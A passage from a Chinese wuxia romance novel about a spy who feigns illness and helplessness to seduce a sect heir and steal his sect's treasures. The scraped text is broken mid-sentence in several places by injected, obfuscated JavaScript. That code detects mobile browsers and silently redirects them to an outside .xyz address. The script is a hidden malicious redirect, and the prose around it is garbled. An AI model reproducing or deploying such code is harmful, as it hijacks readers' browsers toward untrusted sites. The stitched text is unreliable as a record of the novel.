l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961880|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琼霜小心睨着他的眼色,斟词酌句,“公子只是无法任我毒发。” 良久,他叹息一声,抬头望着月亮。 她知道,这是说到他心里去了。 因行善救人而被罚,他固然顺从接受,心里也难免不平。 只是碍于身份,这一份不平,并不能表现出来。 他并不会认为这是错,哪怕他恭谨地道着知错。 “不是公子的错。”她轻轻道,一面观察着他的神色,细细分辨,“倘若此事当真有错的一方,是那日明知应躲却没躲的我,或是山规。” 这一次,他沉默了更久。 灯火映在水上,波光映进他眼里,他长睫翕垂,安安静静,仿佛一尊落了花在肩上的佛像。 半晌,他开口,“不是姑娘。” 两个答案,只否去一个。 南琼霜心下了然,笑着,许久,又补了一句。 “明知救我的代价,却因着自己心中的秤,甘愿受罚。公子,当真是有风骨。” 溪水忽然溅了一滴在他脸上,凉凉的,清清爽爽。 “我从前在家里,只知听父母的话,父母在时,便依了父母的意思做船娘。” “今日见了公子,才晓得……若是为了心中那杆秤,忤逆规矩、禁令,或是旁的什么,其实也并无不可。” “一切,但求问心不悔、问心无愧。” 顾止一直沉默听着,不发一言。 末了,她婉转道,“奴感念公子的从心之举。” “不必。”良久,他神色缓缓化开如春水,声音深深,“我才要谢过姑娘。” 闻言,南琼霜一笑。 火候到了。 “公子,昨日……”忽地变了脸色,身子一软,向后靠去,差点栽出船外。 两眼难以忍受地闭着。 顾止一见,登时抛下长竿,俯身扶她,“姑娘,姑娘!” 她倚在舟上,食指痛苦地揉着太阳穴,口里含糊道,“我不打紧,公子莫急……” 顾止慌忙揽着她:“可是那毒发作了?今日的药有没有服下?” “今日,”她仿佛很怕他担心似的,强撑着精神苦笑,“确是没喝,因着昨日连着喝了两副,想着今日空一空。” “昨日喝了两副?!”顾止一惊,“哪有这般服药的?服药不是儿戏。姑娘未免太不爱惜自己身子。” 似乎有些因她不在乎自己而生气的意思。 南琼霜强装坚强道,“哪有,已经十分爱惜了。” 顾止语气难得的有些冷,“深夜出门,明知这山上处处是机关,还独自来寻我。着人仔细叮嘱过用法的药,也不见姑娘好好服下。顾某倒是未见姑娘爱惜自己。” 南琼霜心里笑,从前她那些任务对象,大多爱她的皮相和眼泪,倒没人像他管得这般多。 原来这个人,见到她不在乎自己,会着急的。 她心里一动,俄而又觉得这一瞬的动容很好笑。 心里只是道,这里,将来可以再拿捏一下。 “罢。”末了,他似乎不愿对她这般强硬,叹了口气,“姑娘今晚便歇在我处,往后,我亲自盯着姑娘用药。” 船靠了岸,岸上灯火玲珑,是顾止的暮雪院。 顾止对院内侍仆见着南琼霜的惊讶神色视而不见,简短道,“去收拾楚姑娘的行李,搬来此处。” 9. 第 9 章 天山派阖山无人不知,少掌门下山历练,上山时,带回一个来历不明、柔柔弱弱的女子。 第一日,惦记着那女子的伤,深更半夜的劳烦屈术先生,为她把脉抓药。 第二日,为她与同门十年、朝夕相处的大师姐起了龃龉,大师姐为此心碎神伤。 第三日,说大师姐苛待那女子,径直将她接入了自己院内,同居一片屋檐之下。 少掌门向来性情和善、温润端方,是二十年来一百双眼睛都挑不出一点错的至纯至善之人,以如此年轻的年纪力压慧德坐了少掌门之位,本也无人不服。 直到这女子进山。 这几日,不仅南琼霜发觉山上人原本就微妙的态度变得更加微妙,连顾止也发觉众人的窃窃私语总是与他有关。 这一日,终于惊动了慧德师叔,唤他去菩提阁内训话。 慧德合着眼,颗颗硕圆的佛珠串安静在他掌中转着,静心香袅袅。 他垂着眼:“今日召你来,乃是因你为前些时候带进山那女子,已经招致许多流言蜚语。” 顾止沉默不语。 “私带外人上山,此事我已经罚过。不想你竟然还不知收敛,众目睽睽之下,让她住进你院内。” “欲端坐少掌门之位,须得服人,日后你接替你父亲的位子,统领全山,是需叫人心服口服的。你做少掌门这七年,经年名誉恩威,积攒起来并不容易,并不能因为一个女子毁掉,你要晓得。” “晚辈明白。” “那女子究竟是何来历,竟让你为她如此上心?”慧德睁开了眼,慢悠悠打着香篆。 “并无甚来历,不过是江边一个船娘,父母早去了,名唤楚皎皎。楚姑娘不过人柔弱了些,眼皮子浅。师叔晓得我脾气,我见不得人落泪,故会多关照一些。” “那是你的私事。”慧德慢条斯理地压着香灰,“你这孩子是至善的性子,但不论如何,瑶洁与你相伴十余年,不应为了外人寒了我那徒儿的心。” “师叔提点的是,我择日去同瑶洁赔个不是。” 慧德挥挥手,准他退下,一面细碎念着,“当年你那长兄也是至纯至善的性子,为人却比你有智慧,手段也较你更凌厉。可惜……我天山并没有这个福气。” 缓慢悠长的调子,只是随口提及悠远的往事,却说得顾止攥了攥拳。 他那长兄,处处都好,乃是父亲和师叔最属意的下一任掌门之选。可惜,去得太早。 十多年了,父亲和师叔还放不下。 他不说话。 “惹出这许多风风雨雨,下去领罚,祠堂跪三个时辰。” 三个时辰的祠堂,罚普通弟子乃是多,罚他,就只少不多。 顾止早已习惯,领命转身欲走,忽地又被唤住,“李玄白那小子陪掌门闭关,已经小半月了吧?过几日,该出关了。” “那小子”。 顾止回身,静静听慧德用一种纵容溺爱的口气,略带些骄傲之意地道,“那小子练得好但闲不住,十天半月的,该给他憋坏了。替他准备个出关宴吧,待你跪完祠堂。” 他默然,眼睛隐匿在眉骨的阴影里:“是。” 父亲爱顾之,师叔爱李玄白和宋瑶洁。 那他算什么? 日日自问,日日得不到答案。 他拨开珠帘出门,一大把珠子打得门框噼里啪啦。 * 回到暮雪院,南琼霜正在屋里歇息。 窗子支着,透过雕花的窗棂,瞧得见她的样子。 树上花团锦簇,花团之下,她阖着长睫睡得安宁,一呼一吸悠长清浅,仿佛做着一个安心的美梦。 楚姑娘总是与这山上的人不一样。山上的人,有些因少掌门三字对他既敬且怕,有些瞧出他背后的空虚而表面敬重实则轻蔑,还有些望他日夜不休地练功习剑,最好废寝忘食。 只有楚姑娘与这一切都无关。 或许只有局外之人,才能在这山上,给他片刻的舒心自在。 他在窗外静静看了半晌,一阵风来,摇落花瓣,他于是替她关了窗。 南琼霜睁开眼睛,眸子里清明冷淡。 雾刀不知躲在哪里,用传音入密在她耳畔咯咯笑:“还关窗呢。这回往生门派你来,真是选对了。好一个见不得人落泪的大善人。” “倒未必是见不得人落泪,只是我在他眼里,是个弱者。”南琼霜起了身,“像他这般的如玉君子,外表谦和内在疏离,看上去待谁都好,实则谁也接近不了。” “若是换个同他一样武功高强冷若冰霜的,两人恐怕要别扭个一年半载;若是那妖邪娇媚之人,又必定一眼便生了警惕之心,更是拿不下。” “正人君子,纯善之人,最大的软肋便是弱者的眼泪。” “好在,我有的是眼泪。” 雾刀:“这就叫人善被人欺。” 南琼霜笑了一声:“别废话,让你去查的查了没有?” 雾刀:“镇山玉牌,似乎在三清峰星辰阁。” 她拿出奇香芬芳的木梳,细细理着长发。 “可惜这么多山,不知哪一座是三清峰。眼下山上人都不待见我,又被顾止和宋瑶洁吩咐过不准独自游山,这么贸然出去,实在是太可疑了些。” 雾刀:“那就要看你自己的谋划了。既然从未拿我当教引,这时候也别指望我替你出点子。” 说完,幸灾乐祸地笑着隐去了。 南琼霜翻了个白眼。 下了床,出去想寻顾止,要他陪她游山。找到了侍仆一问,顾止回来看了她一眼就走了,说是被师叔罚跪祠堂。 想也不必想,又是为了她,惹了师叔不快。 说罚便罚,该罚的罚,不该罚的也罚,就算坐着少掌门的位子,也没见少罚。 她心里思忖着,顾止其人,看着光风霁月、众人顺服,背地里或许只是个空架子也未可知。 即便不是空架子,在这山内,也必定过得不怎么舒服。 她垂下眼,手指卷了一点发丝,转着。 这形势,理想得太过分,太适合她取他的心。 既然如此,暂且别冒险罢。 于是,她回了房,撑着双腮,出神地看树上的落花。 * 顾止从祠堂中出来的时候,天已黑尽。 鸟归山林,一切静的可怕,只余不绝的虫鸣。 走出祠堂,却见院外唯一一盏灯下,站着一个清冷的身影。 第一眼,以为是楚皎皎,再一细看,却是宋瑶洁。 他心里不由得一紧。 “怀瑾。”那女子跟上来,弟子衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961881|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘渺如白雾,那是慧德师叔入室首徒的衣裳。 “听说你又被师傅罚了,我来看看你。你可还好?” 望着她关切神色,他却无端想起那一天楚皎皎撑舟来接他的场景。同是受罚,今日她怎么没来? 忘了,今天的事没同她讲,她该还不晓得。 “还好。”他笑得轻松,“师叔不是总罚我?” “师傅确乎是对你格外严厉了一些,你是将来的掌门,人人对你的期待都更高。怀瑾,你该感谢师傅这片心。” 顾止噙着一丝笑,走快两步。 “师姐,这么晚了来做什么?总不会是为我担心。” “区区罚跪自然是伤不了你的,我不担心你这个。”顾止听了,只是笑而不语,宋瑶洁接着道,“我担心的,你该晓得。” 顾止自然晓得。但跪了这么久,他脾气也不大好,道,“我晓得,师姐不必说了。” 宋瑶洁竟半分也没察觉他这话里的情绪,只当他与她心有默契,于是接着往下说,“你想,你下山一趟,原是办事,却两次遭人追杀。” “若说天山派的驭珠之法惹外人眼红,遭人暗算也无可厚非。但巧的是,两次追杀,两次楚姑娘都在场。” “甚至,两次她都无辜受累,两次都被你救下。茫茫人海之中,刺客怎会挑准了要要挟她——当真仅仅是倒霉?” “最后一次,又好巧不巧,刚好中了只有天山药草能解的毒。最重要的是——” “倘若真是要杀你,为何不选天山寻不到解药的毒?” 说得顾止一阵沉默。 最后一句话,他实在寻不到理由反驳。 倘若真是奔着他来的,为何又要用幼红春,他们焉知他下山时没带长生草。 若用其他的毒,明明更稳妥。 除非…… 除非是故意,选了一种只有天山有解药的毒。 除非她故意中毒,意图上山。 他不愿细想,又不得不逼自己去细想。然而真想下去,又太可怕。 于是痛苦地捏着眉心。 顾止隐隐开始头痛,长叹一声,“我晓得。此间恐怕另有隐情,师姐容我想想。” 宋瑶洁轻拍他的肩,以表安慰,“怀瑾,别太勉强,也万勿轻信。觊觎驭珠之术之人不知凡几,别因她是个弱女子便想当然。” 这话,隐约使他想起慧德师叔那一句“你长兄,为人较你更智慧,手段也更凌厉”来。 他更觉头痛欲裂。 “楚姑娘是客,我惟恐照顾不周,于是前些日子将人接来了我院子,没有别的意思。听说师姐为此介怀,求师姐原谅。” “旁的都是小事。只是她来历不明,山内事千万不得透露给她,特别是全山舆图、镇山玉牌和《天山心经》。” “我晓得。”这样事无巨细的嘱托,让他觉得自己十分无能。 宋瑶洁嘱托完了,颔首转身。 只有她自己晓得,说出口的是“幼红春有疑点”,没说出口的是,每次一见楚皎皎,她都直觉到一个她不肯接受的未来—— 她隐约爱慕了十年、却未曾惹他心动片刻的高不可攀的人,有朝一日,或许会在短短几天之内,为一个来历不明、身无长处的女子,神魂颠倒。 她见不得这样的事。 10. 第 10 章 顾止回到暮雪院的时候,已近子时,南琼霜还没有歇下。 见了顾止,南琼霜两三步跟过去,围在他身侧,“回来了?”一面温柔替他解去外衣。 正欲将他系在下颌的细带解开,顾止忽然道,“顾某自己来吧,不必劳烦姑娘。” 她一怔,顺从退开两步,看着他神色淡淡,自己将肩上的外衣脱了下来。 她上前,伸手想把那外衣接过。 顾止却垂着长睫,直接把衣服交给了身后的丫鬟。 她又是一愣。 这是怎么? 这个时辰,她还没有休息,为的就是在他受罚晚归的当夜,给他造一个温柔乡。 自从上次泛舟接他回来,这一招她已经屡试不爽,他向来不抗拒。 今日这是怎么了? 她站在原地,脑中千万个猜想飞速闪过,在顾止眼里似乎就是受了冷落有些尴尬无措的模样,于是他心中不忍,递了个台阶,“楚姑娘今日的药可好好吃了?每日一副?” 她点头,尽量装得乖巧,“吃了,并没有倒出半碗去浇花。” 顾止笑,“到底有没有,我瞧瞧那花的长势便知道。” 此时他似乎又与从前无异了。 南琼霜斟酌着,道,“你又受罚了?又是因为我?” 顾止默然,偏开了头,“与楚姑娘无关,是顾某自己的选择。” 她熟稔地攒起两汪眼泪,“不,我……是我耽误了公子。” 说完,抬起头,哀哀悲望着,给他看她眼里的泪。 顾止却只是偏过头去,不接话,也不看她。 南琼霜一颗心缓缓地吊起来。 不是错觉,也不是偶然。 他确实在回避她。 发生什么了? 是他查到什么、发现什么,还是别人同他说了什么? 她低下头,自己将断了线的泪珠用帕子拭去,又将帕子在唇里娇怯一咬。 丝绸的手绢顿时印出一个胭脂红的印子,像朵含苞待放的花。 顾止对这一切视若无睹,只是转过了身,背对着她负手而立。 灯火惶惶跳动。 “今日已晚了,姑娘若无他事,便歇下吧,顾某明日还有早训。” 南琼霜只好自己将前头演戏的话圆回来,“……好。公子别担心,我这几日都在好好喝药,三月内定会解毒,到时我下山,公子就不必再为我为难了。”语气颤动柔弱。 顾止还是没接话,只是半侧着身,对她颔首。 一点怜花惜玉之意也无,这一套当真不管用了? 她不甘,面上不动声色,袖中指甲已经将手指掐了个印子。 再试一次。 她叠着小步跑到一旁,取出一碗甜酒酿来,双手捧到他面前,含着泪强笑道: “对了,想着公子晚归必定辛苦,我特意做了碗桂花圆子甜酒酿等公子回来,不知道合不合公子的口味。” 顾止垂首看着那碗中细碎的黄色桂花,静默一瞬。 屋内灯火在他背后,他逆着光负手长立,神色暗得使人心惊。 “是你院中的桂花树,我铺了布在地上,拿棍子打下来的。”本来是装尴尬,她这会快有些真的尴尬了,“还望公子不嫌弃。” 又是难捱的两秒。 灯花又落了一朵,窗纱上一只蛾子飞走了。 “多谢姑娘。”良久,他终于开口,神色依然冷淡,“我进屋再试。” 说着,将汤碗轻轻接过,似乎特别避免碰到她似的,客气疏离得紧。 南琼霜一时无话。这个样子,说再多也只是自讨没趣,还会更加可疑。 于是她躬身行礼,“公子好梦。” 待顾止入了正房,她回了自己房间,将门闩落下。 坐在桌前,她闭眼揉着太阳穴道,“雾刀。” 教引,素来在她们任务中随行。为的是教导、指引、关键时刻搭一把手,以及评核、公证、监视。 雾刀的声音如约响起:“怎么?” “那碗酒酿小圆子,去看看他有没有喝。如果没喝,是怎么个处理法。” “早看完了,我也好奇。”他的声音一如既往吊儿郎当,“没喝。” 南琼霜闭眼,深呼吸了几秒。 “不仅没喝,还验了毒。发现没毒后,还是放在那没动。” 南琼霜的食指在木桌上烦躁地敲,灯花一朵一朵落。 “我走不开。你能不能去查查消息,哪里出了差错?是有人跟他说了什么,还是发现了什么疑点?” 雾刀一阵不怀好意地笑,“你该不会是要支走我吧?” “放屁。”往生门的人,不论是细作还是教引都是一样的多思,但她没耐心跟他废话,“去查。你也该干干活了,还教引呢。” * 顾止房内。 一盏烛火孤零零点着,山风携着落花入窗,吹得那火苗有点风雨飘摇的意思。 顾止独自静默着侧坐在塌边,墙上映出一个压抑的影子。 如果楚姑娘当真是细作,那可就麻烦大了。 自导自演正面受了一口幼红春,又拿捏着他的善心骗取他的信任,日日柔声细语,在他心上最亏空的地方敲打。 倘若事情当真如此,此人的心机、胆魄、手段和决心,绝非他此前任何对手可相比拟。 若当真是这样,这种能人潜进了山里,必然是奔着颠覆全山来的。 天山有三宝:全山舆图、镇山玉牌和《天山心经》。 《天山心经》乃是天山派驭珠法之本;全山舆图是唯一标明了山上机关暗箭位置的图纸;镇山玉牌则是满山机关唯一的开关。 失去任何一个,天山派都将万劫不复。 他冒不起这个险。 他拿过蜡烛,看着那温暖火光,呆呆看了半晌。 末了,终于将它吹熄了。 黑暗里,他拿起桌上那碗酒酿圆子,打开窗,看也不看地,尽数泼去了窗外花丛。 关上窗回榻,头也不回。 她确实触动过他。 但是跟门派的利益比起来,他那点少年人的动容,并不能算得什么。 半劫缘,半劫缘,中间到底有个“劫”字。 他不能爱她。 * 那一晚,顾止做了一个梦。 梦里也不知道自己在做梦。他在极寒之地独自跋涉,风大雪大,每迈一步,脚下的冰湖便崩裂尺余,豁开狰狞的深渊。 他无暇回看,缩着肩膀顶风走。 寒冷早已入侵他四肢百骸,冻得他连寒冷本身也不觉了,只余麻木。 麻木到,似乎早已适应这一切。再这么走下去,能冻毙自然是好的,但若死不了,也还可以习惯。 可是,前头,寒冰忽然缓缓化开了。 一个人,提灯泛舟而来。 一盏莲花灯明如圆月,黑发未着钗饰,滑顺地披在身后。一身层叠繁复、流光涌动的华衣,被灯火映得摇动生辉。 脚下,一只纤窄羸弱的小舟。 所到之处,寒冰齐齐崩断,寒风止息,冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961882|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湖化为春水。 舟头涟漪泛着花灯的光,层叠潋滟着推开去。 花灯的光里,那人袅娜抬眼。 一个含羞的笑。 楚皎皎。 她泛舟到他身边,看着他伏在冰上,狼狈又目瞪口呆的样子,笑得掩唇。 “公子,还不回去,怎么在这?” 他无话可答,只是发愣。 楚皎皎弯了腰,伸出一只纤白的手,递到他眼前。 笑得眉眼弯弯:“我来接公子出去。” 行将冻毙的人,颤颤巍巍地接了。 她的手很软,温而潮湿。未及他留恋,便松开了。 他到了她的小舟上。 跨进来,方觉小舟内温暖如春。舟内盛满了鲜花,姹紫嫣红,馥郁芬芳,他在舟内格格不入地打着哆嗦。 她垂着眼,舀了碗酒酿圆子,递到他手上。 他刚想接,她却忽然顿住了,道,“咦,公子太冷了,似乎适宜用些热的。” 说着,又给他盛了一碗鸡蛋羹。 他捧着接过来,热乎乎的汤碗几乎将他生了冻疮的手烫的生疼。 他不顾,只是舀起一勺。 金黄香软的羹在白瓷勺里颤颤摇晃,撒了些芬芳扑鼻的桂花碎。 他百感交集地问,“姑娘怎么知道我喜欢桂花?” “怎么知道?”她声音深深,跟着念了一遍。 每一个字,仿佛带着魔力,在他心头回荡千百遍。 融融灯火里,她低下身子,从满舟的花中跪爬着凑近他,轻轻在他耳畔吹道,“公子觉得,我怎么知道?” 吐息间,芳香旖旎。 他几乎昏了头了。偏开眼,不敢看。 灯光水影里,她一双眼睛亮得惊人。 他不答。 于是,那女子手抚在胸口,低下身子,迤逦着层叠七彩的披帛,朝他贴近。 她泪眼婆娑地抬头,轻揉着心口,娇嗔道: “……公子,已经在奴家这里了。公子都不知道。” 他一震,偏开头,紧紧闭上眼,抿着唇。 她吟哦着:“公子……”手一面轻覆上他面颊,从他的下颌线摩挲起。他的下颌、双颊、鼻梁、眉骨。 还有,他的……唇。 他屏住呼吸,连一丝一毫的气息都不敢有,偷眼一看,两片嫣然的、湿润的、花瓣般的唇。 停在他脸侧。 他的心又吊起来半寸,闭上眼。 那两片芬芳的唇来了,终于,要来衔他的唇。 忽然,胸膛里钻进了什么东西。 挠烂他的皮肤,挖开他的肌肉,拨开他的筋脉—— 他低下头。 赫然发现,一截皓腕连着华贵袖口,接在了他胸口上。 他正想,手腕前面的部分哪去了,忽然,胸膛里一个不断跳动的东西,骤然被四面八方地掐捏住。 远处的山忽然崩塌,地动山摇,浪呼海啸。 眼珠缓缓转到对面那人的脸上,她还是一样的美,可是却笑得阴厉怨毒。 “为……什么……” 她挑着眉笑,喃喃:“为什么?” 忽然,娇艳的面颊迅速干瘪,面皮绷紧,眼窝落陷,美人皮融化、腐烂、剥落,皮肤化成黏稠的汤水,顺着骷髅下巴滴落下来。 那富丽非凡的华服,随着她血肉的亏空逐渐脱落下去,层层委在地上,仿佛一朵长出了骷髅花蕊的艳丽诡异的花。 那骷髅,轻轻叹息道:“顾公子……谁叫你爱我呢?” 11. 第 11 章 是夜,顾止冷汗涔涔地惊醒。 拥起被衾,在月色西斜、虫鸣依稀的房间里,自己一个人,静静地坐了半个时辰。 直到他发现被窝里的一片狼藉。 他几乎失态地用锦被藏好,嫌弃不已地腾一下站起身,捏着眉心,脸色微微发白。 脚步都有些虚软,他走到桌前,脱力地倒在椅子上,难以忍耐地扶着额头。 从未有过这样的事。 从未有过这样的事。从未。 他甚至,睡前刚刚决定,再不对楚姑娘有任何非分之想。 忽然又想起她那两片停在他脸侧的唇。 一瞬耳畔又如火烧。 明明……明明最后是那样的结局,那女子只是个勾引他的女鬼。 可是,仅仅前面那一小截,竟然就变成了这样。 山中大多是男弟子,多年前亦有几个因为年少而不顾忌他身份的同门,偶尔同他讲些荤话。他从他们口中得知,男子成年后,偶尔会做些令人血脉偾张又羞于启齿的梦。 但他没有,从来没有。 世上有明月,不问人间事。这是那时那几个同门用来调侃他写的两句诗。 可是,竟然。 竟然只是为了等一个吻,就成了这样。 甚至不是那些同门描述过的狎昵场面。 他痛苦地两手掩面,后背上的冷汗湿透了寝衣,那丝绸质地凉凉的寝衣,全部吸黏在了身上。 也不知道那女子究竟为何有如此魔力。 山里的夜如此寒凉,寝衣冷着,心上也冷,身子却仍然热着。 他几乎有点恼恨,揉着太阳穴。 不能这样。他心里想,不能这样。 那梦的意思,已经再明白显豁不过。 一天之内,大师姐提醒,周公亦来提点,还有那个写明了带个“劫”字的半劫缘签。 何况,她至多只能在山上待三月。三月过后,便忘了他。 不论她性子如何可人、如何温柔解语,都绝不是一朵他该采撷的花。 共居山上,互不相涉;毒解之后,两两相忘。 如此最好。 他心里做了决断,打开桌上镶着绿松石的匣子,取出一柄闪着光的匕首。 看了一眼,毫无犹豫地,在手臂内侧,长而順地一划。 鲜血汨汨地渗出来,他捂住伤口,心里想。 有了今日之伤、今日之痛,顾止,你记好了。 万不可爱上那女子。 不论她落泪、告饶,抑或说好话。 * 雾刀是一个办事十分利落的人。 第二日天未亮,雾刀就已经探完了几个关键人的院子,打听到了消息。 时辰正是大早,院中人尚未起,他堂而皇之地显了身形,蹲在南琼霜床边。 “哎,打听着了,那个姓宋的女人说你坏话了。” 南琼霜躺在榻上,脸朝向墙,没有一丝反应。 “醒醒。都几时了?若是平日在门内,都该起床练功了。” 南琼霜不理,丝缎般的发摊开在背后,一丝动静也无。 雾刀不耐,“啧”了一声伸手去摇她。 却在将她肩膀扳过来之后,愣住了。 雾刀:“艹,你怎么了?醒醒!” 南琼霜头躺在枕上,双目紧闭,脸色青白得像森森骇人的鬼。 不论怎么被他摇动,只是毫无一丝生气地委在他怀里,仿佛全身被线系着,却没有操纵者的木偶。 一双长睫下,血泪成行,泛滥成河。 雾刀急了,从护腕中取出一小根银针,在她人中一扎。 下一秒,她长吸了一口气,胸口像山丘般鼓起,忽地,睁开了眼。 瞪着天花板,气喘吁吁,眼角斑斑血痕。 雾刀:“喂,你怎么了?” 南琼霜犹自喘着,等到有了余裕想开口,发觉喉咙里干涩得仿佛拿钝刀子割,声音在嗓子里滚了半晌,道,“倒水。” 雾刀去桌旁倒了杯茶,端过来,“我这教引快混成你的侍仆了,还管倒水。” 她坐起来,接过了茶杯,双手捧着。 雾刀看着她的样子,不知为何竟然觉得,她现下,思绪很乱。 一种心有余悸而又强撑冷静的混乱情态。 他认识她十一年,从没见过她这副模样。她是坠了崖都有余裕镇定的人。 绝不曾如此这般,心神不宁,摇荡不安。 他坐在一旁的椅子上,长靴吊儿郎当地踩上椅面,“哭什么,还哭呢?” 哭? 似乎确实感觉下巴上有东西一颗一颗滴落,南琼霜不明所以地拿手掌一接。 几颗圆圆的红色小玛瑙珠滴落下来,砸在掌心。 她了然:“不是血泪,是血。” 雾刀笑:“说大话,幼红春也够你喝一壶吧?” 她道:“不是幼红春。”闻了闻掌中残血,“恐怕是因七乌香木的缘故。” 雾刀也一愣。 “七乌香木乃是剧毒,发作起来七窍流血。如今你这是……两窍,”一拍脑袋,了然道,“大约是泡在你那体香里,日夜熏浸,没用药也中了毒吧。现下大概还算轻的。” 南琼霜听着他那轻松口气,竟无端想起,顾止那一句“姑娘太不爱惜自己身子”。 她笑笑。 忽地,脑子里好像有什么东西崩断,她几乎听见“啪”一声响。 头痛欲裂。 痛得仿佛颅骨片片碎开,似乎有人拿一根长铁钉,一下一下从耳朵凿进她脑子。 她痛得呜咽,抱着头,痛苦地滚进被褥里。 雾刀凑过来,看热闹似的道,“对,七乌香木发作就是这般,剧痛无比。那东西的香气催情,但是伤人八百自损一千,早劝过你。” 她答不了话。剧痛来得太急,连她忍惯了痛的,一时都喘不匀气。 雾刀在一旁听着她痛喘,端着茶杯翘起了二郎腿,“喂,死不了吧?” 南琼霜脸埋在衾被里,将手掌咬出一个圆圆的咬痕,急喘几下,没好气道,“死不了。” “那就行。”他优哉游哉地啜了一口茶,“挺好,又方便你去那小子面前装惨。不过就别问他要那舆图了,那个姓宋的昨天特意提醒过。啧,这茶冷了,昨儿的吧?” 南琼霜冷冷道,“没事了?”手往门外一指,“滚。” “火气那么大呢。”雾刀念叨一句,茶杯往桌上一搁,转身隐入了黑暗。 人一走,屋内更加安静,脑中的剧痛像一把避无可避的锯子,当当正正在她颅骨中间嚓嚓嚓地磨。 血从眼眶里不受控制地奔流下来,流过脸颊,蓄进耳朵又凝固,渐渐地,连虫鸣和夜风都听不到了。 她不知道在平硬的木榻上受了多久的折磨,只知道再被模糊的声音惊醒时,耳朵里灌满了血,她已经听不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961883|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清其余人说话。 天光大亮了,三四个人探着头看她,在她薄红的视野里,俱是面目模糊的人。 痛得仿佛有人从她鼻孔插进两根筷子,在她脑子里搅,她竭力伸出手抓住面前一个丫鬟的衣袖,“顾公子……求顾公子救我……” 那小丫头被她一抓,惊骇得几乎要跳上房顶。 足见她现在的样子有多可怖。 她痛得仿佛快要失去神智,但在这时候,蹦出的第一个想法竟然是,她如今这幅样子,卖惨不成,反倒吓着了他,从此以后避着她怎么办? 那她的任务可就做不成了。 绝不。 昼夜不停地用七乌香木,大费周折地上山,正面受了一口幼红春,不是为了因为今天这一点血、一点痛,就停在这一步的。 她不可能停在这一步。 于是,竟然竭尽全力拼命坐了起来,要拨开眼前人,跑去妆镜前自照。 一坐起来,头仿佛有千钧重。 结果,一下子翻下床去,因她现在样子太过可怕,围在床前的人都不敢靠近,她像一只中了箭气息奄奄的飞禽,直接栽到地上。 这一摔,摔得她神智只是更清明。 死?两窍流血而已,她用七乌香木已久,多少有些耐性,她势必挺得过去。 她不会死。绝不会。 既然死不了。 该办的事,就必须得办。 她喘息思索的时刻,其余人终于从她惊坐起身的惊吓里缓了过来,围上来七手八脚地扶住她,将她抬回床上去。 一个显然年纪小,未见过事的小丫鬟大哭,“找少掌门,快找少掌门,就说楚姑娘不行啦!” 此时再不需演,她已经是自然地汗湿全身,气若游丝。 却听旁边的侍仆道,“不行,找屈术先生!今日少掌门刚刚吩咐过,此后楚姑娘的事交由屈术先生一手处理,他再不过问!” “这都要出人命啦,留芳!少掌门怎么也得来看一眼,血流成这样,若是人死在少掌门院内……” “不行!”那侍仆斩钉截铁,“少掌门今早下的死命令,楚姑娘之事不论大小,再不需通报他,此后,少掌门一概不会干涉!” ……话竟然都已紧逼到这份上了,就因为宋瑶洁的两句话。 她明明都已经顺利成那个样子,月夜落花泛舟,他连她的眼睛都不敢看。 那样明显的心动,竟然只因为宋瑶洁的两句话,整个的回心转意。 她痛极,于是伸出手狠咬了一口,黏腻的汗,入口苦咸。 务必想想办法,处理一下这个宋瑶洁。 小丫鬟不忍,执意要侍仆去寻顾止,那侍仆和小丫鬟掰扯了几轮,“我说了,今日少掌门脱不开身!玄白师兄今日出关,少掌门这会正在师兄的出关宴上,走不开!” 向一旁瑟缩在角落的一个胖胖侍仆踢了一脚,“去寻屈术先生!” 屈术有个屁用? 小病不需治,大病不必治,她要的是顾止。 她艰难支起身子,拼尽全力伸出一只颤巍巍的手,精准地抓住了那个胆小又心善的小丫鬟。 她道:“不必治了……我的身子,我清楚。” 在小丫鬟恐慌万分的目光里,她垂着泪,万分不甘、万分心碎、万分痛悲似的,轻声道: “好姑娘,我不行了。” “求你替我去寻顾公子。就说我,临去之前,有些话说。” 12. 第 12 章 说完,力竭栽倒,像个全身丝线被陡然剪断,散架了的木偶娃娃。 那小丫鬟见状,小心翼翼打量了那盛气凌人的侍仆几眼,心一横,终是一转身跑了出去。 南琼霜的声音已经仿佛锈住一般喑哑:“诸位,事已至此,奴也不期盼什么大夫,但求各自散了吧,容我些清净。” 她在床上躺着,原本就身形纤弱,现下像一只被一剑穿心的鹤,一呼一吸都发抖。 